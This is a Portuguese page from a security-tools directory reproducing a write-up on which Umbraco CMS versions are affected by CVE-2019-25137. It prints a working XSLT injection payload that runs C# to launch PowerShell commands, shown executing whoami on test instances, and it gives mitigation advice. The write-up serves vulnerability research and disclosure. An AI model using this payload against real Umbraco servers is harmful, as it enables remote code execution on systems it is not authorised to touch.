Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2019-25137-Version-Research — Um writeup investigando a extensão completa da CVE-2019-25137 | Kitploit
Ferramentas/GitHubGitHub/ickarah/cve-2019-25137-version-research
Análise de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e Educação
GitHubickarah/cve-2019-25137-version-research

CVE-2019-25137-Version-Research

Um writeup investigando a extensão completa da CVE-2019-25137

Ver Repositório
111há 3 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Pesquisa das Versões Afetadas pelo CVE-2019-25137


Visão Geral do CVE-2019-25137


O CVE-2019-25137 é uma vulnerabilidade de injeção XSLT no Umbraco CMS. A vulnerabilidade está presente na página web do Visualizador XSLT (Extensive Stylesheet Language Transformations). O URI vulnerável para esta página é /umbraco/developer/Xslt/xsltVisualize.aspx.

A exploração bem-sucedida do Visualizador XSLT pode resultar na execução de código C# no sistema alvo. Para explorar a vulnerabilidade, um usuário precisa de credenciais legítimas de administrador no Umbraco CMS.

A prova de conceito para o CVE-2019-25137 utiliza o elemento msxsl:script. Este elemento permite que linguagens de programação adicionais sejam usadas em transformações XSLT, como C#.


root@kitploit:~
<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
	xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
	xmlns:msxsl="urn:schemas-microsoft-com:xslt"
	xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">
	<msxsl:script language="C#" implements-prefix="csharp_user">public string xml() { string cmd = "<additional arguments>"; System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.StartInfo.FileName = "<Can be powershell or cmd>"; proc.StartInfo.Arguments = cmd; proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true;  proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; }  </msxsl:script>
	<xsl:template match="/">
		<xsl:value-of select="csharp_user:xml()"/>
	</xsl:template>
</xsl:stylesheet>

O payload XSLT tentará executar o seguinte código C#.


root@kitploit:~
string cmd = "<additional arguments>"; 
System.Diagnostics.Process proc = new System.Diagnostics.Process(); 
proc.StartInfo.FileName = "<Can be powershell or cmd>"; 
proc.StartInfo.Arguments = cmd; 
proc.StartInfo.UseShellExecute = false; 
proc.StartInfo.RedirectStandardOutput = true;  
proc.Start(); 
string output = proc.StandardOutput.ReadToEnd(); 
return output;

O código C# é dividido nas seguintes instruções – todas as definições estão documentadas no site da Microsoft.

FunçãoVisão Geral
System.Diagnostics.Process procFornece acesso a processos locais e remotos e permite ao usuário iniciar e parar processos do sistema local, este é chamado de "proc".
proc.StartInfo.FileNameDefine o nome do aplicativo que o usuário deseja iniciar (powershell ou cmd).
proc.StartInfo.ArgumentsDefine quaisquer variáveis adicionais que possam ser necessárias pelo FileName.
proc.StartInfo.UseShellExecuteUm valor que indica se o shell do sistema operacional deve ser usado para iniciar o processo, definido como falso, pois powershell ou cmd é usado.
proc.StartInfo.RedirectStandardOutputUm valor que indica se a saída de um aplicativo é gravada no fluxo StandardOutput, definido como verdadeiro.
proc.Start()Inicia o recurso de processo "proc" e o associa a um componente Process.
string output = proc.StandardOutput.ReadToEnd()Realiza operações de leitura síncrona em "proc" e redireciona para a variável "output".


Análise das Versões do Umbraco

Como o Umbraco é um CMS de código aberto, obtive diferentes versões de instalação do site deles para determinar quais versões, tanto antigas quanto novas, ainda podem ter o xsltVisualize.aspx presente.



A análise indica que o arquivo xsltVisualize.aspx existe no Umbraco CMS versão 4.11.8 até a versão 7.15.10. Este arquivo e toda a pasta Development não estão mais presentes nas versões 8.0.0 e superiores.




Testando o Umbraco 4.11.8

Para demonstrar que a versão mais antiga também é vulnerável ao CVE-2019-25137, configurei uma instância de teste do Umbraco 4.11.8.



Comparando o xsltVisualize.aspx do Umbraco CMS 4.11.8 com o da versão 7.12.4 do Umbraco CMS demonstra que, embora haja uma pequena quantidade de diferenças, a funcionalidade das páginas é a mesma.


Para testar a exploração, o usuário precisa enviar o payload no campo xsltSelection.



Usando o payload fornecido anteriormente, consegui obter execução remota de código, indicando que esta versão também é vulnerável. A imagem abaixo demonstra a execução do whoami.

root@kitploit:~
<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
	xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
	xmlns:msxsl="urn:schemas-microsoft-com:xslt"
	xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">
	<msxsl:script language="C#" implements-prefix="csharp_user">public string xml() { string cmd = "whoami"; System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.StartInfo.FileName = "powershell"; proc.StartInfo.Arguments = cmd; proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true;  proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; }  </msxsl:script>
	<xsl:template match="/">
		<xsl:value-of select="csharp_user:xml()"/>
	</xsl:template>
</xsl:stylesheet>



Testando o Umbraco 7.15.10

Para demonstrar que a versão mais recente do Umbraco com xsltVisualize.aspx também é vulnerável, configurei uma instância de teste do Umbraco 7.15.10.


Comparando o xsltVisualize.aspx do Umbraco CMS 7.15.10 com o da versão 7.12.4 do Umbraco CMS demonstra que eles são idênticos.


Navegando para o URI /umbraco/developer/Xslt/xsltVisualize.aspx indica que o arquivo está de fato presente.


Usando o mesmo payload fornecido anteriormente, consegui obter execução remota de código novamente, indicando que esta versão também é vulnerável. A imagem abaixo demonstra a execução do whoami.

root@kitploit:~
<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
	xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
	xmlns:msxsl="urn:schemas-microsoft-com:xslt"
	xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">
	<msxsl:script language="C#" implements-prefix="csharp_user">public string xml() { string cmd = "whoami"; System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.StartInfo.FileName = "powershell"; proc.StartInfo.Arguments = cmd; proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true;  proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; }  </msxsl:script>
	<xsl:template match="/">
		<xsl:value-of select="csharp_user:xml()"/>
	</xsl:template>
</xsl:stylesheet>


Resumo


Estes exemplos demonstram que o CVE-2019-25137 está presente em versões do Umbraco diferentes da 7.12.4. Todas as versões entre 4.11.8 e 7.15.10 contêm a página web vulnerável e, portanto, devem ser incluídas na atualização do CVE. O CVE-2019-25137 pode ser mitigado removendo o acesso ao arquivo xsltVisualize.aspx ou atualizando para a versão mais recente do Umbraco.



Referências

CVE Original - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-25137

Data de Lançamento do Umbraco - https://our.umbraco.com/download/releases/774

Versões do Umbraco - https://our.umbraco.com/download/releases

Definição de XSLT - https://en.wikipedia.org/wiki/XSLT

Payload Utilizado - https://github.com/noraj/Umbraco-RCE

Baixar ferramenta